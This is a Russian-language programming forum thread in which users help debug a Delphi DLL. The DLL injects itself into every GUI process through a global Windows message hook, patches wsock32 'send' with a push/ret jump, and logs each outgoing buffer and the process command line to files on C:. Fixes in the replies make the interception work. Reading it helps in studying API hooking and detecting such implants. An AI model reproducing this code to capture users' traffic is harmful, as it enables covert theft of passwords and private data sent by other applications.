Не могу прочитать параметры

[BlackOmen]

Здравствуйте.
Вся проблема в том что параметры передаваемые в функцию send из wsock32.dll не желают читатся.

Вот переопределённая функция

function NewSEND (s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;
  var t:TExtfile;
begin
AssignFile(t, 'C:\log.txt');
rewrite(t);
write(t,  'buf=' + pchar(Buf)^);
closefile(t);
result := SOCKET_ERROR;
end;

Как только не пробывал узнать эти параметры ... всё заканчивается исключением.

Как сделать их читабельными?

[BOBAH13]

Вообще не ясно что это ? По логике названий параметров функции и кода, вы делаите чудеса !!! Я так понимаю NewSend - новая посылка на сокет s буфера buf длиной ken с флагом flags.... почему тут stdcall я незнаю )) может это вы в dll пишите ? ( тут только экстрасеКс подскажет ) потом в теле пишется в файл текстовый но вызывается rewrite то приводит к полному удалению и перезаписи данных ранее хранящихся в файле C:\log.txt и потом результат всегда ошибка...

И что мы знаем ? НИЧЕГО !! Кто вызывает эту функцию, Что ей за параметры передаются ? Где она вызывается ? Что до нее с s: TSocket делали ? Не вопрос а черт знает что

[Stilet]

write(t, 'buf=' + pchar(Buf)^);

тут бы я заменил на BlockWrite, в который нужно передавать длину, в твоем случае len.
Или на TFileStream перешел бы.

[BlackOmen]

Сообщение от BOBAH13

Вообще не ясно что это ? По логике названий параметров функции и кода, вы делаите чудеса !!! Я так понимаю NewSend - новая посылка на сокет s буфера buf длиной ken с флагом flags.... почему тут stdcall я незнаю )) может это вы в dll пишите ? ( тут только экстрасеКс подскажет ) потом в теле пишется в файл текстовый но вызывается rewrite то приводит к полному удалению и перезаписи данных ранее хранящихся в файле C:\log.txt и потом результат всегда ошибка...

И что мы знаем ? НИЧЕГО !! Кто вызывает эту функцию, Что ей за параметры передаются ? Где она вызывается ? Что до нее с s: TSocket делали ? Не вопрос а черт знает что

Я прошу прощения.

Значит пишу длл которая перехватывает функцию send и не только, но пока для опытов взял только send. Так вот есть эксперементальное приложение (состряпал), в которой как раз используется эта функция
задача - перехватить параметры в часности "Buf". Длл инжектируется в процесс и срабатывает нормально, но повторюсь любое обращение к Buf пресекается(исклчение).
---------------------------------------------------------------------
потом в теле пишется в файл текстовый но вызывается rewrite то приводит к полному удалению и перезаписи данных ранее хранящихся в файле C:\log.txt и потом результат всегда ошибка...
----------------------------------------------------------------------
А вот тут не какой ошибки! Заменим на следующее:

 write(t,  'Hello World!');

На диске "С" послушно появляется log.txt с Hello World!. То приложение работать перестаёт так как я возвращяю SOCKET_ERROR.

ЗАДАЧА - ПРОЧИТАТЬ ЧТО В СЕБЕ НЕСЁТ "Buf"

[BOBAH13]

function ToHex(var Buf; Len: Integer): String;
var
  i: Integer;
begin
  SetLength(Result, Len * 2);
  for i:= 0 to Len - 1 do
  begin
    Result[(i + 1) * 2 - 1] := IntToHex(PByte(Integer(Pointer(Buf)) + i)^, 2)[1];
    Result[(i + 1) * 2] := IntToHex(PByte(Integer(Pointer(Buf)) + i)^, 2)[2];
  end;
end;

...

function NewSEND (s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;   
  var t:TExtfile;   
begin   
AssignFile(t, 'C:\log.txt');   
rewrite(t);   
write(t,  'buf=' + ToHex(Buf, len));   
closefile(t);   
result := SOCKET_ERROR;   
end;

на быструю руку... сами смотрите ))) ну тут конечно если Buf содержит хоть чтонить и длинной не больше чем len.. тогда все ок должно быть...

[BlackOmen]

Спасибо помогло.
Теперь припопытке

result := send(soc, Buf, len, flags);

все приложения которые пользуются этим, или вылетают или ошибки выдают вообщем не работают. Вот почему? я не пойму здесь же всё просто, возвращаем то что надо, но этого не происходит.

[BOBAH13]

Вы возращаите SOCKET_ERROR это уж точно то что не надо !!! я бы сделал так... у вас где-то храниться адресс предшевствуюшей замене WinSock.send так вот допусти он в _send: Pointer; храниться тогда

type
  Tsend = function(s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;      

function NewSEND (s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;      
  var t:TExtfile;      
begin      
AssignFile(t, 'C:\log.txt');      
rewrite(t);      
write(t,  'buf=' + ToHex(Buf, len));      
closefile(t);      
//result := SOCKET_ERROR;      
result := Tsend(_send)(s, buf, len, flags); // незнаю можно ли так Tsend(_send) попробуйте иначе через переменную
end;

[Flenov]

write(t,  'buf=' + pchar(Buf)^);

Символ ^ не нужен. Если строка приходит без конца, то ты реально получишь проблемы. PChar должен заканчиваться нулен. Я бы использовал следующий код:

function NewSEND (s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;   
var 
 t:TExtfile;   
 str:String; 
begin  
 AssignFile(t, 'C:\log.txt');   
 rewrite(t);   
 Str:=copy(Buf, 1, len); // Копируем только Len символов
 write(t,  'buf=' + str);   
 closefile(t);   
 result := SOCKET_ERROR;   
end;

[BlackOmen]

Сообщение от Flenov

write(t,  'buf=' + pchar(Buf)^);

Символ ^ не нужен. Если строка приходит без конца, то ты реально получишь проблемы. PChar должен заканчиваться нулен. Я бы использовал следующий код:

function NewSEND (s: TSocket; var Buf; len, flags: Integer): Integer; stdcall;   
var 
 t:TExtfile;   
 str:String; 
begin  
 AssignFile(t, 'C:\log.txt');   
 rewrite(t);   
 Str:=copy(Buf, 1, len); // Копируем только Len символов
 write(t,  'buf=' + str);   
 closefile(t);   
 result := SOCKET_ERROR;   
end;

Да это уже от фантазии зависит не в этом суть,
Вообщем приведу полный код

library iSystem;

uses Windows, sysutils, winsock;

type
 OldCode = packed record
  One: dword;
  two: word;
 end;

far_jmp = packed record
  PuhsOp: byte;
  PushArg: pointer;
  RetOp: byte;
 end;

var Ws: THANDLE;

    JmpSEND: far_jmp;          //

    OldSEND: OldCode;          //

    SENDADDR: pointer;         //

    Bytes: dword;                //

Procedure Unhook();
begin
  WriteProcessMemory(INVALID_HANDLE_VALUE, SENDADDR, @OldSEND, SizeOf(OldCode), Bytes);
end;

function NewSEND (s: TSocket; var Buf: array of char; len, flags: Integer): Integer; stdcall;
  var t:TExtfile;
      Commline:string;
      i:integer;
begin

Commline := getcommandline;
AssignFile(t, 'C:\' + inttostr(i) + '.txt');        //на С после каждого запроса возникает отдельный файл, ну это чисто для себя.
rewrite(t);
write(t,  #13#10 + Commline  + ' buf= ' + Buf);
i := i + 1;
closefile(t);

result := send(s, Buf, len, flags);

end;

Procedure SetHook();    //вот тут скорее всего ошибка
var
 Bytes: dword;
begin
 try
  Ws := loadLibrary('wsock32.dll');
  if (Ws <> 0 ) then
  SENDADDR := GetProcAddress(Ws, 'send');
 finally
  freeLibrary(Ws);
 end;
 ReadProcessMemory(INVALID_HANDLE_VALUE, SENDADDR, @OldSEND, SizeOf(OldCode), Bytes);  

  JmpSEND.PuhsOp  := $68;       
  JmpSEND.PushArg := @NewSEND;  
  JmpSEND.RetOp   := $C3;       

 WriteProcessMemory(INVALID_HANDLE_VALUE, SENDADDR, @JmpSEND, SizeOf(far_jmp), Bytes);
end;

Function MessageProc(code : integer; wParam : word; lParam : longint) : longint; stdcall;
begin
 CallNextHookEx(0, Code, wParam, lparam);
 Result := 0;
end;

Procedure SetGlobalHookProc();
begin
 SetWindowsHookEx(WH_GETMESSAGE, @MessageProc, HInstance, 0);
 Sleep(INFINITE);
end;

Procedure SetGlobalHook();
var
 hMutex: dword;
 TrId: dword;
begin
 hMutex := CreateMutex(nil, false, 'SysDll');
 if GetLastError = 0 then
 CreateThread(nil, 0, @SetGlobalHookProc, nil, 0, TrId) else
 CloseHandle(hMutex);
end;

procedure DLLEntryPoint(dwReason: DWord);
begin
  case dwReason of
    DLL_PROCESS_ATTACH: begin
                          SetGlobalHook();
                          Randomize();
                          SetHook()
                        end;
    DLL_PROCESS_DETACH: UnHook();
  end;
end;


begin
   DllProc := @DLLEntryPoint;
   DLLEntryPoint(DLL_PROCESS_ATTACH);
end.

Много было мыслей...
Этот код не работает - рвёт все соединения.
Я уже не знаю куда смотреть.

[BlackOmen]

А проблема то вот в чём была. Вован пытался мне сказать, но я не серьёзно отнёсся. В моём коде происходит зацикливание, вызов уже перехваченной функции, вот и всё.
Решение:

  WriteProcessMemory(INVALID_HANDLE_VALUE, SENDADDR, @OldSEND, SizeOf(OldCode), Written); //снимаем крюк
     result := Send(s, Buf, len, flags);   //тру адресс
  WriteProcessMemory(INVALID_HANDLE_VALUE, SENDADDR, @JmpSEND, SizeOf(far_jmp), Written); //возвращаем крюк

Всем без исключения спасибо! Думаю тема исчерпана.